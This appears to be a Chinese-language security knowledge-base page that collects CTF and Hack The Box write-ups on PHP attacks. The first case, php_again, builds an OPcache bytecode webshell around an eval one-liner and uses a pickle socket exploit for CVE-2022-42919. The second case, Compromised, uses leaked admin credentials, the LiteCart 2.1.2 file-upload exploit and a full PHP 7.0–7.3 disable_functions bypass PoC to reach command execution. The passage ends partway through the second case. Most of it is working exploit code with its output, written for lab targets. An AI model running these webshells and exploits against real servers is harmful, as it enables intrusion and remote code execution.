# 漏洞分析与利用知识库

这份 Markdown 汇集原博客的靶场与比赛技术记录。按漏洞主题组织分析与案例，代码、攻击步骤、失败分支、截图及原文引用随证据记录保留。各实验的版本、地址、二进制布局和执行身份以对应来源为准。

## 章节目录

- [PHP 运行时、缓存与执行边界](https://lucifer11.xyz/knowledge/php-runtime/)
- [认证状态、JWT 与访问控制](https://lucifer11.xyz/knowledge/identity/)
- [Windows 服务权限与执行上下文](https://lucifer11.xyz/knowledge/windows/)
- [SSRF、协议转换与内部管理面](https://lucifer11.xyz/knowledge/ssrf/)
- [栈与相邻对象覆盖](https://lucifer11.xyz/knowledge/stack/)
- [Kerberos、凭据材料与服务权限](https://lucifer11.xyz/knowledge/kerberos/)
- [Drupal 入口与本地权限衔接](https://lucifer11.xyz/knowledge/cms-drupal/)
- [客户端、更新器与文档解析](https://lucifer11.xyz/knowledge/client/)
- [调试协议与服务暴露](https://lucifer11.xyz/knowledge/debug/)
- [格式化字符串、地址泄漏与保护绕过](https://lucifer11.xyz/knowledge/format/)
- [ROP、SROP、JOP 与系统调用](https://lucifer11.xyz/knowledge/rop/)
- [CMS 管理功能与历史执行链](https://lucifer11.xyz/knowledge/cms-misc/)
- [模板注入与多语言表达式](https://lucifer11.xyz/knowledge/ssti/)
- [XML 外部实体与二次解释](https://lucifer11.xyz/knowledge/xml/)
- [AWS 模拟环境、请求走私与密钥服务](https://lucifer11.xyz/knowledge/cloud/)
- [Linux 权限、Capabilities 与周期任务](https://lucifer11.xyz/knowledge/linux/)
- [反序列化、对象生命周期与加载器](https://lucifer11.xyz/knowledge/serialization/)
- [V8 类型推断与任意读写原语](https://lucifer11.xyz/knowledge/v8/)
- [SQL、NoSQL、HQL 与 XPath 注入](https://lucifer11.xyz/knowledge/queries/)
- [ADCS 模板、证书映射与 CA 权限](https://lucifer11.xyz/knowledge/adcs/)
- [浏览器上下文与跨权限操作](https://lucifer11.xyz/knowledge/xss/)
- [容器边界、网络拓扑与宿主权限](https://lucifer11.xyz/knowledge/containers/)
- [加密流量、内存密钥与文件重组](https://lucifer11.xyz/knowledge/forensics/)
- [备份材料、验证流程与密码规则](https://lucifer11.xyz/knowledge/credentials/)
- [源码历史、配置泄露与后门逆向](https://lucifer11.xyz/knowledge/source/)
- [DNS、NFS、邮件与多主机信任](https://lucifer11.xyz/knowledge/services/)
- [WordPress 插件与管理权限](https://lucifer11.xyz/knowledge/cms-wordpress/)
- [中间件请求解析与管理接口](https://lucifer11.xyz/knowledge/middleware/)
- [内核接口、映射与权限原语](https://lucifer11.xyz/knowledge/kernel/)
- [UAF、tcache 与分配器状态](https://lucifer11.xyz/knowledge/heap/)
- [ACL、Shadow Credentials 与 Kerberos 委派](https://lucifer11.xyz/knowledge/delegation/)
- [文件写入、上传验证与后续解析](https://lucifer11.xyz/knowledge/uploads/)
- [ESC13 组映射与多阶段域权限](https://lucifer11.xyz/knowledge/adcs-advanced/)
- [路径归一化、文件包含与日志内容](https://lucifer11.xyz/knowledge/files/)
- [认证程序逆向与 Salsa20 数据恢复](https://lucifer11.xyz/knowledge/crypto/)
- [数据库权限、UDF 与动态库加载](https://lucifer11.xyz/knowledge/database/)
- [构建、包安装与自动化任务](https://lucifer11.xyz/knowledge/pipelines/)


# PHP 运行时、缓存与执行边界

OPcache 缓存、disable_functions 与开发版后门位于不同层次。本章把原实验中的构建信息、字节码文件、运行时限制和本地提权放在一起对照。先核对版本、扩展与进程身份，再读对应的载荷。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/php-runtime/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

php_again 的 system_id 和 Zend Extension 差异决定缓存能否被目标加载，编译参数属于证据的一部分。

Compromised 中的 PHP 限制、MySQL UDF 和 PAM 后门是不同阶段，原记录分别给出验证结果。

Knife 的开发版异常行为与 Ruby sudo 权限有各自的触发点。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [OPcache 字节码与 forkserver 套接字](#case-2023-chunqiubei-spring-php-again) | 2023-chunqiubei-spring-php-again | PHP、OPcache、CVE-2022-42919 |
| [上传、运行时限制与 PAM 后门](#case-compromised) | compromised | PHP、disable_functions、UDF、PAM |
| [开发版后门与 Ruby sudo](#case-knife) | knife | PHP、后门分析、Ruby、sudo |

<a id="case-2023-chunqiubei-spring-php-again"></a>

## OPcache 字节码与 forkserver 套接字

这条链依赖与目标匹配的 PHP 构建参数和 OPcache system_id。原记录保留 Zend Extension 差异、缓存替换过程，以及 CVE-2022-42919 的本地提权分支。

<p class="kb-provenance">来源 2023-chunqiubei-spring-php-again · 原记录 2023-07-01 · 15 个代码块 · 24 处图片引用</p>

<details class="kb-evidence" id="record-2023-chunqiubei-spring-php-again">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start 2023-chunqiubei-spring-php-again -->

#### 介绍

同样是在ichunqiu CTF大本营刷题的时候碰到一道高质量的web题，也比较有实战价值，比赛中算是web里耗时较长的的。网上已经有一些公开的writeup，但是为了加深理解记忆，故记录一篇blog。

其中包括一些网上没公开的一些CVE-2022-42919 LPE exp的利用细节及PHP 8.2.2 OPcache Binary Webshell手工利用方法。

 - 复现链接: [2023年春秋杯网络安全联赛春季赛 web php_again](https://www.ichunqiu.com/battalion?t=1&r=72366)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again.png)



#### PHP 8.2.2 OPcache Binary Webshell
#### 前置知识

 - php OPcache Binary Webshell 具体原理其请参考英文原出处[Binary Webshell Through OPcache in PHP 7](https://www.gosecure.net/blog/2016/04/27/binary-webshell-through-opcache-in-php-7/)

 - php OPcache Binary Webshell检测请参考[Detecting Hidden Backdoors in PHP OPcache](https://www.gosecure.net/blog/2016/05/26/detecting-hidden-backdoors-in-php-opcache/)

 - [Abusing PHP 7’s OPcache to Spawn Webshells - slides](https://docs.google.com/presentation/d/18y60Xy0eVeUnBXIH_t3ikfly_uyYbtfI6zAuKCHtlac/edit?pli=1#slide=id.p)

 - [Abusing PHP 7’s OPcache to Spawn Webshells (Ian Bouchard) - youtube](https://www.youtube.com/watch?v=yLpsIWh7rvU)

 - [PHP7 OPcache Override 自动化利用工具](https://github.com/GoSecure/php7-opcache-override)

大概原理就是伪造替换原来合法PHP编译PHP脚本生成的字节码为webshell php脚本编译生成的恶意字节码

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again1.png)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again2.png)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again3.png)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again4.png)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again5.png)

利用方法：

1. 弄清楚受害者使用的是32位还是64位操作系统
2. 找到受害者的system ID
3. 在本地生成缓存文件
4. 将缓存文件中的system ID替换为受害者的system ID
5. 用你的文件覆盖受害者的缓存文件。
6. get a shell。

#### 目标php环境分析

``` bash
case 00:
    phpinfo();
    break;
case 73:
    exec('zip -r /tmp/www.zip *');
    readfile('/tmp/www.zip');
    break;
case 7:
    var_dump(scandir('/var/www/html/'));
    break;
case 1365:
    file_put_contents('/tmp/tmp.zip',base64_decode($_POST['data']));
    break;
case 777777:
    exec('cd /tmp && unzip -o tmp.zip');
    break;
```

5个功能:

 - phpinfo信息
 - 压缩 /var/www/html目录到 /tmp/www.zip，可以读取 /tmp/www.zip
 - 查看当前目录下的文件
 - 上传文件 到 /tmp/tmp.zip
 - 覆盖解压 /tmp/tmp.zip

查看phpinfo()

``` bash
PHP Version 8.2.2

PHP Extension 	20220829
Zend Extension 	420220929
Zend Extension Build 	API420220929,NTS
PHP Extension Build 	API20220829,NTS
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again6.png)

开启了时间戳校验，所以之后需要获取文件创建时间和system_id

拉取php8.2.2源码，在本地(Ubuntu 18.04.6 LTS)复刻编译和目标相同的php环境

``` bash
cd /usr/local
wget https://www.php.net/distributions/php-8.2.2.tar.gz
tar -zxvf php-8.2.2.tar.gz && cd php-8.2.2
```

先看下php8.2.2源码的变化

 - 校验文件的位如果不通过就删除了

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again7.png)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again8.png)

继续跟下去

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again9.png)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again10.png)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again11.png)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again12.png)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again13.png)

编译安装php8.2.2

在题目的phpinfo信息中可以看到， Zend Extension的值是420020929，而正常拉下来的包都是 420020829.这里可能就是出题人故意改的，所以我们也需要改一下再编译。

打开 /usr/local/php-8.2.2/Zend/zend_extensions.h 文件，将其由原来的829改成929

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again14.png)

之后再进行编译安装

``` bash
apt-get install build-essential autoconf automake libtool libsqlite3-dev pkg-config libjpeg-dev libpng-dev libxml2-dev libbz2-dev libcurl4-gnutls-dev libssl-dev libffi-dev libwebp-dev libonig-dev libzip-dev

./configure --prefix=/usr/local/php --sysconfdir=/etc/php/8.2 --with-openssl --with-zlib --with-bz2 --with-curl --enable-bcmath --enable-gd --with-webp --with-jpeg --with-mhash --enable-mbstring --with-imap-ssl --with-mysqli --enable-exif --with-ffi --with-zip --enable-sockets --with-pcre-jit --enable-fpm --with-pdo-mysql --enable-pcntl

make && make install
cd /usr/bin
ln -s /usr/local/php/bin/php php8.2
cp /usr/local/php-8.2.2/php.ini-development /usr/local/php/lib/php.ini
cp /etc/php/8.2/php-fpm.conf.default /etc/php/8.2/php-fpm.conf
cp /etc/php/8.2/php-fpm.d/www.conf.default /etc/php/8.2/php-fpm.d/www.conf
```

打开 php.ini文件 ，开启opcache

``` bash
zend_extension = opcache
opcache.enable=1
opcache.validate_timestamps=1
opcache.consistency_checks=1
opcache.file_cache=/tmp
```

进入 /var/www/html，写入一句话木马，然后开启服务器

``` bash
root@fdvoid0:/var/www/html# cat index.php
<?=eval($_POST[1]);phpinfo();?>
root@fdvoid0:/var/www/html# php8.2 -S 0.0.0.0:8888
[Mon Jul  3 22:19:20 2023] PHP 8.2.2 Development Server (http://0.0.0.0:8888) started
```

访问之后便会在 /tmp目录下生成缓存文件,这就是正确的 system_id

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again15.png)

``` bash
root@fdvoid0:/mnt/d/1.online-ctfs/ichunqiu/2023-chunqiubei-spring/php_again# ls /tmp/
246104dd1c75c908e3152fa39e48dfb5
root@fdvoid0:/mnt/d/1.online-ctfs/ichunqiu/2023-chunqiubei-spring/php_again# cp /tmp/246104dd1c75c908e3152fa39e48dfb5/var/www/html/index.php.bin .
```

用功能二获取压缩包，压缩包中存在文件的创建时间

``` bash
curl http://eci-2ze1liq7ayfbjvmgeu18.cloudeci1.ichunqiu.com/?action=73 -o www.zip
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again16.png)

``` bash
2023年7月3日，20:06:15
```

使用在线工具[时间戳转换](https://tool.lu/timestamp/)转化为时间戳

``` bash
1688385975
```

用101 editor打开index.php.bin，然后确定时间戳的位置，修改时间戳

``` bash
64A2B9B7 ---> B7 B9 A2 64
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again17.png)

使用python脚本上传并解压文件

``` bash
import base64
import requests

import zipfile

url = "http://eci-2ze1liq7ayfbjvmgeu18.cloudeci1.ichunqiu.com/?action="
file_to_compress = 'index.php.bin'
zip_file_path = 'index.zip'
with zipfile.ZipFile(zip_file_path, 'w') as my_zip:
    my_zip.write(
        file_to_compress,
        '246104dd1c75c908e3152fa39e48dfb5/var/www/html/index.php.bin')

f = open(r"D:\1.online-ctfs\ichunqiu\2023-chunqiubei-spring\php_again\index.zip", "rb")
f = f.read()
f = base64.b64encode(f)
data = {"data": f}
url1 = url + "1365"
res = requests.post(url=url1, data=data)
#第二步 解压文件
url2 = url + "777777"
res = requests.get(url=url2)
```

再次访问时，我们已经拿到shell了

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again18.png)

#### Linux specific local privilege escalation via the multiprocessing forkserver start method CVE-2022-42919 LPE

flag在根目录下没权限访问，根目录下还有一个/py_server.py文件

``` bash
import multiprocessing
import time


def foo():
    import traceback
    traceback.format_exc()
    print('Hello Ctfer')


if __name__ == '__main__':
    multiprocessing.freeze_support()
    multiprocessing.set_start_method("forkserver")
    p = multiprocessing.Pool()
    p1 = multiprocessing.Process(target=foo)
    p1.start()
    time.sleep(60*60*24)
```

看到以下两行，很容易想到python的一个multiprocessing forkserver提权漏洞

``` bash
multiprocessing.freeze_support()
multiprocessing.set_start_method("forkserver")
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again22.png)

 - 漏洞原始出处[Linux specific local privilege escalation via the multiprocessing forkserver start method CVE-2022-42919 #97514](https://github.com/python/cpython/issues/97514)

看下漏洞的描述意思是起forkserver的时候我们将pick代码注入进去就能直接执行任意命令。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again19.png)

漏洞代码定位[cpython/Lib/multiprocessing/connection.py](https://github.com/python/cpython/blob/1699128c4891da3bbe23553d709261d88855b93f/Lib/multiprocessing/connection.py#L79-L80)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again21.png)

这里给了个案例，猜测跟那个pid有关，需要套接字注入到套接字文件

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again20.png)

pid就是套接字的id直接传值就行了，很容易构造exp

``` bash
import socket
import pickle
import os
import array

class Person():
    def __reduce__(self):
        command=r"cat /flag>/tmp/pwned"
        return (os.system,(command,))

p=Person()
opcode=pickle.dumps(p)
print(opcode)
f = open("exp.data","wb")
f.write(opcode)
f.close()
# 定义抽象命名空间套接字路径 没ss
# socket_path = "\0"+os.popen("ss -lx | grep '@'|awk '{print $5}'").read().replace("@","").strip()
socket_path = "\0listener-51-0"
print(socket_path)
def sendfds(sock, fds):
    '''Send an array of fds over an AF_UNIX socket.'''

# 创建套接字
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
# 连接到服务器
sock.connect(socket_path)
# 准备发送的数据
data = opcode
def send_fds(sock, msg, fds):
    return sock.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, array.array("i", fds))])

file = open("exp.data",'rb')
fd = file.fileno()
parent_r, child_w = os.pipe()
fds = [fd,child_w,fd,fd]
msg = bytes([len(fds) % 256])
send_fds(sock,msg,fds)
# 关闭套接字
sock.close()
file.close()
```

运行exp获取flag

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/php_again23.png)

#### 参考链接

 - [4.[春秋杯 2023]php_again](https://www.cnblogs.com/cyyyyi/p/17500269.html)
 - [5 php_again](https://mp.weixin.qq.com/s/uk7aBZcTuXd4bNiXCDSo0A)
 - [Binary Webshell Through OPcache in PHP 7](https://www.gosecure.net/blog/2016/04/27/binary-webshell-through-opcache-in-php-7/)
 - [PHP OPcache Override](https://github.com/GoSecure/php7-opcache-override)
 - [Linux specific local privilege escalation via the multiprocessing forkserver start method CVE-2022-42919 #97514](https://github.com/python/cpython/issues/97514)
 - [Detecting Hidden Backdoors in PHP OPcache](https://www.gosecure.net/blog/2016/05/26/detecting-hidden-backdoors-in-php-opcache/)
 - [Abusing PHP 7’s OPcache to Spawn Webshells - slides](https://docs.google.com/presentation/d/18y60Xy0eVeUnBXIH_t3ikfly_uyYbtfI6zAuKCHtlac/edit?pli=1#slide=id.p)
 - [Abusing PHP 7’s OPcache to Spawn Webshells (Ian Bouchard) - youtube](https://www.youtube.com/watch?v=yLpsIWh7rvU)


<!-- kb:end 2023-chunqiubei-spring-php-again -->

</details>

<a id="case-compromised"></a>

## 上传、运行时限制与 PAM 后门

LiteCart 上传后的执行受 disable_functions 限制。原记录保留绕过环境、MySQL UDF 和 pam_unix.so 的逆向证据，区分应用入口与已有后门线索。

<p class="kb-provenance">来源 compromised · 原记录 2020-09-16 · 36 个代码块 · 7 处图片引用</p>

<details class="kb-evidence" id="record-compromised">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start compromised -->

#### introduce

OS: Linux
Difficulty: Hard
Points:	40
Release:	12 Sep 2020
IP:	10.10.10.207

User Blood xct	00 days, 03 hours, 35 mins, 20 seconds.
Root Blood xct	00 days, 03 hours, 34 mins, 56 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb92.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
root@kali:~/hackthebox/machine/compromised# nmap -sV -v -p- --min-rate=10000 10.10.10.207
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
```

enumerate port 80 by looking at files/directories:

``` bash
root@kali:~/ffuf# ./ffuf -c -u http://10.10.10.207/FUZZ -w /usr/share/wordlists/dirb/common.txt
.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10]
.hta                    [Status: 403, Size: 277, Words: 20, Lines: 10]
backup                  [Status: 301, Size: 313, Words: 20, Lines: 10]
index.php               [Status: 302, Size: 0, Words: 1, Lines: 1]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10]
shop                    [Status: 301, Size: 311, Words: 20, Lines: 10]
```

we find some interesting directories/files, but the important one is the backup directory,
so visit the URL http://10.10.10.207/backup/ and find out there is a file called a.tar.gz.

download and extract backup file:

``` bash
wget http://10.10.10.207/backup/a.tar.gz
tar -xvf a.tar.gz
```

sort the contents by modification date:

``` bash
find . -printf "%T@ %Tc %p\n" | sort -n
```

look at latest modified files.
look at ./admin/login.php and find this line:

``` bash
//file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']);
```

#### get shell

look whats in there:

``` bash
root@kali:~/hackthebox/machine/compromised# curl http://10.10.10.207/shop/admin/.log2301c9430d8593ae.txt
User: admin Passwd: theNextGenSt0r3!~
```

got creds:

``` bash
admin:theNextGenSt0r3!~
```

go to 

``` bash
http://10.10.10.207/shop/admin/
```

and login with the creds
see the version at the bottom left
``` bash
LiteCart 2.1.2
```
look for exploit with searchsploit:

``` bash
root@kali:~/hackthebox/machine/compromised# searchsploit LiteCart
--------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                         |  Path
--------------------------------------------------------------------------------------- ---------------------------------
LiteCart 2.1.2 - Arbitrary File Upload                                                 | php/webapps/45267.py
--------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
root@kali:~/hackthebox/machine/compromised# searchsploit -m php/webapps/45267.py
  Exploit: LiteCart 2.1.2 - Arbitrary File Upload
      URL: https://www.exploit-db.com/exploits/45267
     Path: /usr/share/exploitdb/exploits/php/webapps/45267.py
File Type: ASCII text, with CRLF line terminators

Copied to: /root/hackthebox/machine/compromised/45267.py
```

run the exploit:

``` bash
python 45267.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin
```

something went wrong, lets look at phpinfo,
edit the exploit from this:

``` bash
files = {
        'vqmod': (rand + ".php", "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); } ?>", "application/xml"),
        'token':one,
        'upload':(None,"Upload")
    }
```

to this:

``` bash
files = {
        'vqmod': (rand + ".php", "<?php phpinfo(); ?>", "application/xml"),
        'token':one,
        'upload':(None,"Upload")
    }
```

also, remove this at line 72, so we dont get the full html output of phpinfo in our terminal:

``` bash
print r.content
```
run the exploit again, and we get an url to the phpinfo

``` bash
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/4YQVJ.php?c=id
```

open the url in your browser and search for "disable_functions".
in there we see the disabled functions "system" and "shell_exec" and more which are preventing us to run commands :(

disable_functions:

``` bash
system,passthru,popen,shell_exec,proc_open,exec,fsockopen,socket_create,curl_exec,curl_multi_exec,mail,putenv,imap_open,parse_ini_file,show_source,file_put_contents,fwrite,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
```

but there is a bypass:

 - [PHP-7.3-disable_functions-Bypass](https://packetstormsecurity.com/files/154728/PHP-7.3-disable_functions-Bypass.html)

so lets use this to get RCE.
first create the bypass.php file: (notice the change of the pwn function call)

``` bash
<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
#
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1

pwn($_REQUEST['c']);

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;

        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}
```

edit the 45267.py to this:

``` bash
#Exploit Title: LiteCart 2.1.2 - Arbitrary File Upload
# Date: 2018-08-27
# Exploit Author: Haboob Team
# Software Link: https://www.litecart.net/downloading?version=2.1.2
# Version: 2.1.2
# CVE : CVE-2018-12256

# 1. Description
# admin/vqmods.app/vqmods.inc.php in LiteCart 2.1.2 allows remote authenticated attackers 
# to upload a malicious file (resulting in remote code execution) by using the text/xml 
# or application/xml Content-Type in a public_html/admin/?app=vqmods&doc=vqmods request.
 
# 2. Proof of Concept
 
#!/usr/bin/env python
import mechanize
import cookielib
import urllib2
import requests
import sys
import argparse
import random
import string
parser = argparse.ArgumentParser(description='LiteCart')
parser.add_argument('-t',
                    help='admin login page url - EX: https://IPADDRESS/admin/')
parser.add_argument('-p',
                    help='admin password')
parser.add_argument('-u',
                    help='admin username')
args = parser.parse_args()
if(not args.u or not args.t or not args.p):
    sys.exit("-h for help")
url = args.t
user = args.u
password = args.p

br = mechanize.Browser()
cookiejar = cookielib.LWPCookieJar()
br.set_cookiejar( cookiejar )
br.set_handle_equiv( True )
br.set_handle_redirect( True )
br.set_handle_referer( True )
br.set_handle_robots( False )
br.addheaders = [ ( 'User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1' ) ]
response = br.open(url)
br.select_form(name="login_form")
br["username"] = user
br["password"] = password
res = br.submit()
response = br.open(url + "?app=vqmods&doc=vqmods")
one=""
for form in br.forms():
    one= str(form).split("(")
    one= one[1].split("=")
    one= one[1].split(")")
    one = one[0]
cookies = br._ua_handlers['_cookies'].cookiejar
cookie_dict = {}
for c in cookies:
    cookie_dict[c.name] = c.value
bypass = open('bypass.php', 'r').read()

files = {
        'vqmod': ("mybypass.php", bypass, "application/xml"),
        'token':one,
        'upload':(None,"Upload")
    }
response = requests.post(url + "?app=vqmods&doc=vqmods", files=files, cookies=cookie_dict)
r = requests.get(url + "../vqmod/xml/mybypass.php?c=id")
if r.status_code == 200:
    print "Shell => " + url + "../vqmod/xml/mybypass.php"
else:
    print "Sorry something went wrong"
```

run the script again and we get the link to the code execution:

``` bash
root@kali:~/hackthebox/machine/compromised# python exp.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin
/usr/local/lib/python2.7/dist-packages/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in a future release.
  from cryptography import x509
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/mybypass.php
```

success:

``` bash
root@kali:~/hackthebox/machine/compromised# curl http://10.10.10.207/shop/vqmod/xml/mybypass.php?c=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

